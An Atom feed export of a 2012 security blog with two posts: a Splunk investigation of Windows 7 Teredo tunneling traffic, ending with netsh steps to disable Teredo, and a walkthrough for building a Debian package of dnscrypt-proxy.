<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-6134723970931252074</id><updated>2012-02-04T13:49:37.196-05:00</updated><category term='splunk'/><category term='scanner'/><category term='home firewall verizon fios'/><category term='visualization'/><category term='data augmentation'/><category term='ssh command monitoring strace linux'/><category term='anomalies'/><category term='process'/><category term='m0n0wall'/><category term='identification'/><category term='malware'/><category term='graphical analysis'/><category term='adobe 0-day javascript exploit adobe9 adobe7'/><category term='ubuntu ecryptfs error'/><category term='ossim unified threat management'/><category term='patch compliance'/><category term='forensic'/><category term='yara ubuntu installation'/><category term='smtp honeypot security infrastructure script process load'/><category term='verizon fios actiontec router insecure security vulnerability double bridge'/><category term='pdf embedded object analysis shell'/><category term='enterprise'/><category term='insider threat'/><category term='log2timeline ubuntu dependencies'/><category term='packets'/><category term='facebook controller facebhook cookies'/><category term='firewall'/><category term='yara pdf-parser didier stevens signature scanning'/><category term='file'/><category term='tsk sleuthkit forensics extraction linux shell'/><category term='android traffic profile'/><category term='port scanning'/><category term='discovery'/><title type='text'>Notes on Security and Research</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>63</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-3069213813273257165</id><published>2012-01-07T19:43:00.001-05:00</published><updated>2012-01-07T19:47:42.472-05:00</updated><title type='text'>Analysis of a Freshly Installed Windows 7's Teredo Tunneling Traffic</title><content type='html'>While reviewing packet drops, I noticed a system that looked like a low, slow series of repeated failures.&lt;br /&gt; &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-2wqxP0fv-Zo/TwjTN96l1nI/AAAAAAAAABc/SL8CxBNiJ7s/s1600/Selection_021.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="81" src="http://2.bp.blogspot.com/-2wqxP0fv-Zo/TwjTN96l1nI/AAAAAAAAABc/SL8CxBNiJ7s/s320/Selection_021.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Digging into it, I identified the system as our newly installed Windows 7 host. This seemed a bit odd. Most of the dropped packets were to a single destination, 65.55.158.118.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-Wl1fnKDKjIE/TwjVgLWnUhI/AAAAAAAAABk/6vsAAu5djfs/s1600/Selection_022.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="172" src="http://4.bp.blogspot.com/-Wl1fnKDKjIE/TwjVgLWnUhI/AAAAAAAAABk/6vsAAu5djfs/s320/Selection_022.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Searching through the DNS logs, I found that the IP was only involved in a request for teredo.ipv6.microsoft.com. The picture below shows the result of the query, however the googleusercontent.com return is an error in the way DNSMASQ mixes the logs for simultaneous return records. So, there is only one domain to IP relationship between teredo.ipv6.microsoft.com and 65.55.158.118.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/-gutHwnu5Cns/TwjaSM4KS_I/AAAAAAAAABs/-L1efDHRXQ0/s1600/Selection_023.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="72" src="http://2.bp.blogspot.com/-gutHwnu5Cns/TwjaSM4KS_I/AAAAAAAAABs/-L1efDHRXQ0/s320/Selection_023.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;To see the activity of just the traffic to this host, I decided to graph the activity to IP address 65.55.158.118 across all of the datasets. This would show the interrelationship of DNS, firewall, and proxy resources over the last seven days. I used this query in my Splunk search:&lt;br /&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;65.55.158.118 earliest=-7d | fields sourcetype | timechart limit=0 span=1h count(sourcetype) by sourcetype&lt;/blockquote&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-V1QEqCDRYRU/TwjbSF5MbBI/AAAAAAAAAB0/BJCcoumJuy4/s1600/Selection_019.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="151" src="http://4.bp.blogspot.com/-V1QEqCDRYRU/TwjbSF5MbBI/AAAAAAAAAB0/BJCcoumJuy4/s320/Selection_019.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;The columns only indicated DNS and firewall would be factors since no proxy logs matched. I clicked 'Show Report' at the upper-right and selected a line graph with a logrithmic aspect. Here are my results:&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/-tm3DWYjOD1E/TwjcKS5PyWI/AAAAAAAAAB8/Tmkwf_WyVN4/s1600/Selection_018.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="166" src="http://1.bp.blogspot.com/-tm3DWYjOD1E/TwjcKS5PyWI/AAAAAAAAAB8/Tmkwf_WyVN4/s320/Selection_018.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;So, my new Windows 7 host commits nearly constant DNS resolutions to teredo.ipv6.microsoft.com, resolves to 65.55.158.118, then sends roughly nine times as much direct traffic to that IP to die at the firewall as it is apparently not proxy aware. &lt;br /&gt;&lt;br /&gt;My understanding has been that Microsoft disabled Teredo Tunneling by default after Windows XP Service Pack 1 due to industry concerns about data control. This is confirmed by &lt;a href="http://technet.microsoft.com/en-us/library/bb457011.aspx" target="_blank"&gt;a TechNet article&lt;/a&gt; released in 2007. A separate post found at the &lt;a href="http://answers.microsoft.com/en-us/windows/forum/windows_7-networking/windows-7-teredo-tunneling-adapter-message-your/7d6bbc28-7f33-456f-9190-0f2148400713" target="_blank"&gt;Microsoft Answers site&lt;/a&gt; indicates for Windows 7, "Teredo is installed by default and enabled so that it remains in a standby mode and comes into action only when required." Apparently not since it makes queries ALL THE TIME.&lt;br /&gt;&lt;br /&gt;Teredo-by-default remains a potential security and data-loss issue for companies, many of whom lack tools to analyze the 6to4 wrapped protocol for network intrusion detection, enforcing proxy use for regulatory compliance, or other purposes. Some analysis of the protocol has been undertaken, as indicated by this &lt;a href="http://isc.sans.edu/diary.html?storyid=8245" target="_blank"&gt;Internet Storm Center article&lt;/a&gt; about a year ago, and followed by an &lt;a href="http://isc.sans.edu/diary.html?storyid=10816" target="_blank"&gt;execellent analysis&lt;/a&gt; by Johannes Ullrich in May. However, this level of depth in monitoring this protocol is not packaged or attainable to most businesses today.&lt;br /&gt;&lt;br /&gt;To address the issue, administrators not utilizing Teredo for their domain should &lt;a href="http://technet.microsoft.com/en-us/library/ee126159%28WS.10%29.aspx" target="_blank"&gt;disable it via Global Policy&lt;/a&gt;. For home users of Windows 7 and Vista, this article at &lt;a href="http://www.sevenforums.com/network-sharing/46575-teredo-tunneling-issue.html" target="_blank"&gt;Windows Seven Forums&lt;/a&gt; provides instructions to disable the service.&lt;br /&gt;&lt;br /&gt;In the Windows menu search bar, type 'cmd.exe', but don't open it. Right-click cmd.exe and select 'Run as Administrator'. Click Yes if prompted to confirm running the program with elevated privileges. Now follow the commands indicated in the output below:&lt;br /&gt;&lt;br /&gt;&lt;blockquote class="tr_bq"&gt;C:\Windows\system32&amp;gt;netsh&lt;br /&gt;netsh&amp;gt;interface&lt;br /&gt;netsh interface&amp;gt;teredo&lt;br /&gt;netsh interface teredo&amp;gt;set state disabled&lt;br /&gt;Ok.&lt;br /&gt;&lt;br /&gt;netsh interface teredo&amp;gt;exit&lt;br /&gt;&lt;br /&gt;C:\Windows\system32&amp;gt; &lt;/blockquote&gt;&lt;br /&gt;Reboot the system to have the setting take effect.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6134723970931252074-3069213813273257165?l=pinowudi.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pinowudi.blogspot.com/feeds/3069213813273257165/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6134723970931252074&amp;postID=3069213813273257165' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/3069213813273257165'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6134723970931252074/posts/default/3069213813273257165'/><link rel='alternate' type='text/html' href='http://pinowudi.blogspot.com/2012/01/analysis-of-freshly-installed-windows.html' title='Analysis of a Freshly Installed Windows 7&apos;s Teredo Tunneling Traffic'/><author><name>pinowudi</name><uri>http://www.blogger.com/profile/12371914797942915778</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-2wqxP0fv-Zo/TwjTN96l1nI/AAAAAAAAABc/SL8CxBNiJ7s/s72-c/Selection_021.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6134723970931252074.post-1392162432180732401</id><published>2011-12-10T17:26:00.001-05:00</published><updated>2011-12-10T22:40:11.069-05:00</updated><title type='text'>Building a Debian/Ubuntu Package for DNSCrypt-proxy</title><content type='html'>Referring to &lt;a href="https://github.com/opendns/dnscrypt-proxy/issues/2"&gt;X4's issue&lt;/a&gt; for Linux compiling, the following are instructions for builiding a debian package.&lt;br /&gt;&lt;br /&gt;Create a working directory. Then acquire the source by cloning the repository. Create a source tarball in the Debian package naming format.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ cd ~&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ mkdir dnscryptworkdir&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ cd dnscryptworkdir&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ git clone https://github.com/opendns/dnscrypt-proxy&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ mv dnscrypt-proxy dnscrypt-proxy-0.1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ tar cvfz dnscrypt-proxy_0.1.orig.tar.gz dnscrypt-proxy-0.1&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ cd dnscrypt-proxy-0.1&lt;br /&gt;&lt;br /&gt;Now it's time to lay the groundwork for the package. Use DebHelper to generate the package framework. If you haven't built a package before, install the necessary packages.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ sudo apt-get install build-essential devscripts ubuntu-dev-tools debhelper dh-make diff patch cdbs quilt gnupg \&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fakeroot lintian&amp;nbsp; pbuilder piuparts&lt;br /&gt;&lt;br /&gt;Use DebHelper to lay the package framework. This will generate the debian/ directory and associated files. Go ahead and remove the defaults. The README.Debian file is also unnecessary&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ dh_make -f ../dnscrypt-proxy_0.1.orig.tar.gz -s -b&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ cd debian&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ rm *.ex *.EX&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ rm README.Debian&lt;br /&gt;&lt;br /&gt;Edit the control file with your favorite editor. It should look like this&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Source: dnscrypt-proxy&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Section: misc&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Priority: optional&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Maintainer: pinowudi &lt;pinowudi at="" com="" dot="" gmail=""&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Build-Depends: cdbs, debhelper (&amp;gt;= 7), automake&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Standards-Version: 3.8.3&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Homepage: https://github.com/opendns/dnscrypt-proxy&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Package: dnscrypt-proxy&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Architecture: all&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Depends: ${shlibs:Depends}, ${misc:Depends}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Description: A tool for securing communications between a client and a DNS resolver.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DNSCrypt is a slight variation on DNSCurve.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DNSCurve improves the confidentiality and integrity of DNS requests using high-speed high-security elliptic-curve cryptography. Best of all, DNSCurve has very low overhead and adds virtually no latency to queries.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; DNSCurve aims at securing the entire chain down to authoritative servers. However, it only works with authoritative servers that explicitly support the protocol. And unfortunately, DNSCurve hasn't received much adoption yet.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The DNSCrypt protocol is very similar to DNSCurve, but focuses on securing communications between a client and its first-level resolver. While not providing end-to-end security, it protects the local network (which is often the weakest link in the chain) against man-in-the-middle attacks. It also provides some confidentiality to DNS queries.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; .&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The DNSCrypt daemon acts as a DNS proxy between a regular client, like a DNS cache or an operating system stub resolver, and a DNSCrypt-aware resolver, like OpenDNS.&lt;/pinowudi&gt;&lt;br /&gt;&lt;br /&gt;Now edit the rules file. Using the CDBS packager makes implementing the autoconf features easy, with one exception. Since the autoconf has not been run already, it must be done before the package build. This will require the extra 'autoreconf' as a preconfiguration action. The rules file should look akin to the following.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; #!/usr/bin/make -f&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; include /usr/share/cdbs/1/class/autotools.mk&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; include /usr/share/cdbs/1/rules/debhelper.mk&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; include /usr/share/cdbs/1/class/makefile.mk&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; # Add here any variable or target overrides you need.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; makebuilddir/dnscrypt-proxy-0.1::&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; autoreconf --install&lt;br /&gt;&lt;br /&gt;Update the changelog file using the dce tool. Mark the issue as change number zero.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ dch -e&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; dnscrypt-proxy (0.1-1) unstable; urgency=low&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; * Initial release (Closes: #0)&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; -- pinowudi &lt;pinowudi at="" com="" dot="" gmail=""&gt;&amp;nbsp; Sat, 10 Dec 2011 14:11:02 -0500&lt;/pinowudi&gt;&lt;br /&gt;&lt;br /&gt;Edit the copyright file with the copyright information from the package.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; This work was packaged for Debian by:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; pinowudi &lt;pinowudi at="" com="" dot="" gmail=""&gt; on Sat, 10 Dec 2011 14:01:36 -0500&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; It was downloaded from &lt;https: dnscrypt-proxy="" github.com="" opendns=""&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Upstream Author(s):&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Frank Denis &lt;frank at="" com="" dot="" opendns=""&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Copyright:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Copyright (c) 2011 OpenDNS, Inc.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; License:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Permission to use, copy, modify, and distribute this software for any&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; purpose with or without fee is hereby granted, provided that the above&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; copyright notice and this permission notice appear in all copies.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ====&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; This license applies to all parts of dnscrypt-proxy that are not externally&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; maintained libraries.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The externally maintained libraries used by dnscrypt-proxy are:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - NaCl (http://nacl.cr.yp.to/). Public domain.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - libuv (https://github.com/joyent/libuv). MIT license.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; + libuv dependencies, see src/libuv/LICENSE.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; - alt_arc4random.c reuses code from OpenBSD. BSD license,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; see the alt_arc4random.c header.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; The Debian packaging is:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Copyright (C) 2011 pinowudi &lt;pinowudi at="" com="" dot="" gmail=""&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Permission to use, copy, modify, and distribute this software for any&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; purpose with or without fee is hereby granted, provided that the above&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; copyright notice and this permission notice appear in all copies.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.&lt;/pinowudi&gt;&lt;/frank&gt;&lt;/https:&gt;&lt;/pinowudi&gt;&lt;br /&gt;&lt;br /&gt;The software package does not have a .config file yet, so making one modification is necessary to get the CDBS manager to handle the package. Run autoreconfig to generate the autoconf files. Then execute the package build. The package should be produced in the directory below the current build dir.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ autoreconf --install&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ debuild -us -uc&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ ls ..&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; dnscrypt-proxy-0.1&amp;nbsp; &lt;span style="color: red;"&gt;dnscrypt-proxy_0.1-1_all.deb&lt;/span&gt;&amp;nbsp; dnscrypt-proxy_0.1-1.diff.gz&amp;nbsp; dnscrypt-proxy_0.1-1.dsc&amp;nbsp; dnscrypt-proxy_0.1-1_i386.build&amp;nbsp; dnscrypt-proxy_0.1-1_i386.changes&amp;nbsp; dnscrypt-proxy_0.1.orig.tar.gz&lt;br /&gt;&lt;br /&gt;Now test the package installation.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ cd ..&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ sudo dpkg -i dnscrypt-proxy_0.1-1_all.deb&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; [sudo] password : &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Selecting previously deselected package dnscrypt-proxy.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; (Reading database ... 122394 files and directories currently installed.)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Unpacking dnscrypt-proxy (from dnscrypt-proxy_0.1-1_all.deb) ...&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Setting up dnscrypt-proxy (0.1-1) ...&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Processing triggers for man-db ...&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ whereis dnscrypt-proxy&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; dnscrypt-proxy: /usr/sbin/dnscrypt-proxy /usr/share/man/man8/dnscrypt-proxy.8.gz&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $ dnscrypt-proxy -h&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; dnscrypt-proxy 0.8&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Copyright (C) 2011 OpenDNS, Inc.&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Options:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; -a&amp;nbsp;&amp;nbsp;&amp;nbsp; --local-address=...&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; -d&amp;nbsp;&amp;nbsp;&amp;nbsp; --daemonize&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; -e&amp;nbsp;&amp;nbsp;&amp;nbsp; --edns-payload-size=...&lt;br /&gt;&amp;nbsp; &amp;nbsp; 